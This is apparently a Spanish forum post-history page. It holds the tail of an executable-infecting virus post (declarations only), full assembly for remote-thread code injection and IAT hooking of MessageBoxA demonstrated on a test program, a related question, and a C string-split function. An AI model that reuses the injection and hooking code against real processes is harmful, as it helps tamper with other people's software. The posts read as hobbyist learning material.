FindNextFileAH dd ? CreateFileAH dd ? CreateFileMappingAH dd ? MapViewOfFileH dd ? CloseHandleH dd ? UnmapViewOfFileH dd ? filter db "*.exe",0 FileHandleFind dd ? FileHandleCreate dd ? FileHandleMap dd ? MappedFile dd ? VirusSize equ end_vx_code - start_vx_code VirusHostSize dd ? falignvalue dd ? salignvalue dd ? HostEntryPoint dd 0 MyEntryPoint dd 0 filetime struct FT_dwLowDateTime dd ? FT_dwHighDateTime dd ? filetime ends find_data struct dwFileAttributes dd ? ftCreationTime filetime <?> ftLastAccessTime filetime <?> ftLastWriteTime filetime <?> nFileSizeHigh dd ? nFileSizeLow dd ? dwReserved0 dd ? dwReserved1 dd ? cFileName db 512 dup (?) cAlternateFileName db 14 dup (?) find_data ends win32_find_data find_data <?> end_vx_code: end vx_code
Agradecería mucho que me comentarais los muchos fallos que seguro hay. Un saludo!
|
|
|
38
|
Seguridad Informática / Análisis y Diseño de Malware / API Hooking by IAT Patching
|
en: 22 Abril 2012, 17:00 pm
|
Gracias al tutorial de YST & Hacker_Zero entendí el API Hooking, pero por desgracia ese manual quedó a medias y jamás se explicó el método para hookear una API modificando la IAT. Me puse y salió esto, cualquier error por favor decidmelo: .386 .model flat, stdcall option casemap:none
assume fs:nothing
include windows.inc include kernel32.inc include user32.inc includelib kernel32.lib includelib user32.lib
.data Process db 'ejecutable.exe',0 Kernel db 'kernel32.dll',0 GetProc db 'GetProcAddress',0 .data? Function dd ? FunctionLen dd ? pInfo PROCESS_INFORMATION <> sInfo STARTUPINFO <> function_start PROTO .code start: invoke CreateProcess,0,addr Process,0,0,0,0,0,0,addr sInfo,addr pInfo mov eax,offset function_end sub eax,offset function_start mov [FunctionLen],eax invoke VirtualAllocEx,[pInfo.hProcess],0,[FunctionLen],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE mov [Function],eax invoke GetModuleHandle,offset Kernel mov [KernelBase],eax push offset GetProcAddressName invoke GetProcAddress,eax,offset GetProc mov [pGetProcAddress],eax invoke WriteProcessMemory,[pInfo.hProcess],[Function],offset function_start,[FunctionLen],0 invoke CreateRemoteThread,[pInfo.hProcess],0,0,[Function],0,0,0 invoke ExitProcess,0
;Injecting Function function_start PROC call delta delta: pop ebp sub ebp, offset delta mov ebx, fs:[030h] ;Getting host process IAT address and its size mov eax,[ebx+08h] mov ebx,[eax+03Ch] add ebx,eax mov edx,[ebx+0D8h] add edx,eax mov [ebp+pIAT],edx mov edx,[ebx+0DCh] mov [ebp+IATsize],edx ;Getting the needed API's ;GetModuleHandle mov ebx,offset GetModuleHandleName add ebx,ebp push ebx push dword ptr [ebp+KernelBase] call [ebp+pGetProcAddress] mov [ebp+pGetModuleHandle],eax ;VirtualProtect mov ebx,offset VirtualProtectName add ebx,ebp push ebx push dword ptr [ebp+KernelBase] call [ebp+pGetProcAddress] mov [ebp+pVirtualProtect],eax ;Getting address of MessageBox mov ebx,offset user32name add ebx,ebp push ebx call [ebp+pGetModuleHandle] mov ebx,offset MessageBoxName add ebx,ebp push ebx push eax call [ebp+pGetProcAddress] mov [ebp+pMessageBox],eax ;Showing a MessageBox push MB_OK + MB_ICONINFORMATION push 0 mov ebx,offset MsgInjected add ebx,ebp push ebx push 0 call [ebp+pMessageBox] ;Finding pointing address xor edx,edx mov eax,[ebp+IATsize] mov ecx,04h div ecx mov ecx,eax mov eax,[ebp+pMessageBox] mov edi,[ebp+pIAT] repnz scasd sub edi,04h ;Patching the IAT mov ebx,offset OldProtect add ebx,ebp push ebx push PAGE_EXECUTE_READWRITE push 04h push edi call [ebp+pVirtualProtect] mov ebx,offset Hook add ebx,ebp mov [edi],ebx ret
pIAT dd ? IATsize dd ? BaseImage dd ? KernelBase dd ? pGetProcAddress dd ? GetProcAddressName db "GetProcAddress",0 user32name db "user32.dll",0 MessageBoxName db "MessageBoxA",0 pMessageBox dd ? GetModuleHandleName db "GetModuleHandleA",0 pGetModuleHandle dd ? VirtualProtectName db "VirtualProtect",0 pVirtualProtect dd ? OldProtect dd ? MsgInjected db "The function has been injected!",0
Hook: ;Delta offset call deltahook deltahook: pop ebp sub ebp,offset deltahook pop ebx ;Saving to return after mov edi,offset msghook add edi,ebp mov [esp+04h],edi ;Changing the stack parameters call [ebp+pMessageBox] ;Calling the original address of MessageBox push ebx ;Setting the returning address ret msghook db "MessageBox Hooked!", 0 function_start endp function_end: end start
El ejecutable que usé lo que hace es lanzar dos MessageBox, uno detrás de otro (podéis programarlo para ver cómo funciona). No abre un proceso existente, sino que lo crea (arreglarlo es cuestión de un par de API's). El proceso no lo crea suspendido, así pues al principio lanza el primer MessageBox junto con otro MessageBox que anuncia que la función ha sido inyectada. Después, al cerrar el mensaje de alerta y posteriormente el primer mensaje, lanza otro MessageBox que en teoría debería de ser el segundo del programa, pero como hookea la API hará que a partir de ahí todos los MessageBox muestren "MessageBox Hooked!" Saludos!
|
|
|
39
|
Programación / ASM / ¿Es posible que kernel32.dll se cargue en otra ImageBase?
|
en: 21 Abril 2012, 19:17 pm
|
Estoy haciendo un código de API Hooking que modificará la IAT para saltar a la función que yo quiera, y para ello una de las cosas que debe recibir mi función inyectada es un puntero a GetProcAddress. La función inyectada calcula ya la ImageBase de kernel32.dll, así que si quisiera podría obtener ese puntero a GetProcAddress en base a eso, pero me ahorraría bastante trabajo si pudiera pasarle como parametro al CreateRemoteThread el puntero que el programa inyector hubiera previamente obtenido, sin miedo a que esa dirección fuera errónea porque kernel32.dll se ha cargado en otra dirección en el programa en el que se inyectará el código.
Como kernel32.dll es la segunda función que un ejecutable carga en Windows (esto lo descubrió The Swash, mirando InLoadOrderModuleList de PEB_LDR_DATA) en teoría en condiciones normales debería de cargarse siempre en la misma dirección.
¡Gracias!
|
|
|
40
|
Programación / Programación C/C++ / [C]Función SPLIT
|
en: 29 Junio 2011, 19:57 pm
|
He hecho esta típica función en C... Es digamos la primera versión así que debe de tener muchos errores, de hecho hasta me atrevería a decir que es cutre, pero en fin, aquí os la dejo: /* char **split(char *string, char *sep); Coded by Binary_Death on 30/6/2011 */ #include <stdlib.h> #include <stdio.h> char **split(char*,char*); int _strlen(char*); int _cmp(char*,char*,int); int main() { char **array = split("STRING1#DLM#STRING2#DLM#STRING3","#DLM#"); for(int y =0;y <3;y ++) printf("%s\n", array [y ]); return 0; } char **split(char *string,char *sep) { int str_len=_strlen(string); int sep_len=_strlen(sep); int ptr_block=0, chr=0, bool_end=0; char **buffer = (char**)malloc(sizeof(char*)); *buffer = (char*)malloc(sizeof(char*));**buffer =0; char *tok = (char*)malloc(sep_len *sizeof(char)); for(int z=0;z<str_len;z++) { for(int n=0;n<sep_len&&!bool_end;n++) {(str_len-(z+1)>=sep_len)?tok[n]=string[z+n]:bool_end=1;} if(_cmp(tok,sep,sep_len)||bool_end) { buffer[ptr_block][chr++] = string[z]; buffer [ptr_block ] = (char*)realloc(buffer [ptr_block ],chr *sizeof(char*)); buffer[ptr_block][chr] = 0; } else { buffer = (char**)realloc(buffer ,(++ptr_block +1)*sizeof(char*)); buffer [ptr_block ] = (char*)malloc(sizeof(char*)); chr=0;z+=sep_len-1; } } return buffer; } int _strlen(char *pstr) { int i=0; while(*(pstr++)!='\0') i++; return i; } int _cmp(char *fstr,char *sstr, int len) { int bytes=0; while(bytes++<len) if(*(fstr++)!=*(sstr++)) return 1; return 0; }
Agradecería que se me reportaran los errores y así mejorar Saludos! EDITO: Ya esta arreglado! Igual seguro que tiene muchos errores más, ya se irán arreglando, yo soy paciente EDITO2: Segunda modificación, he reducido y optimizado muchísimo el código.
|
|
|
|
|
|
|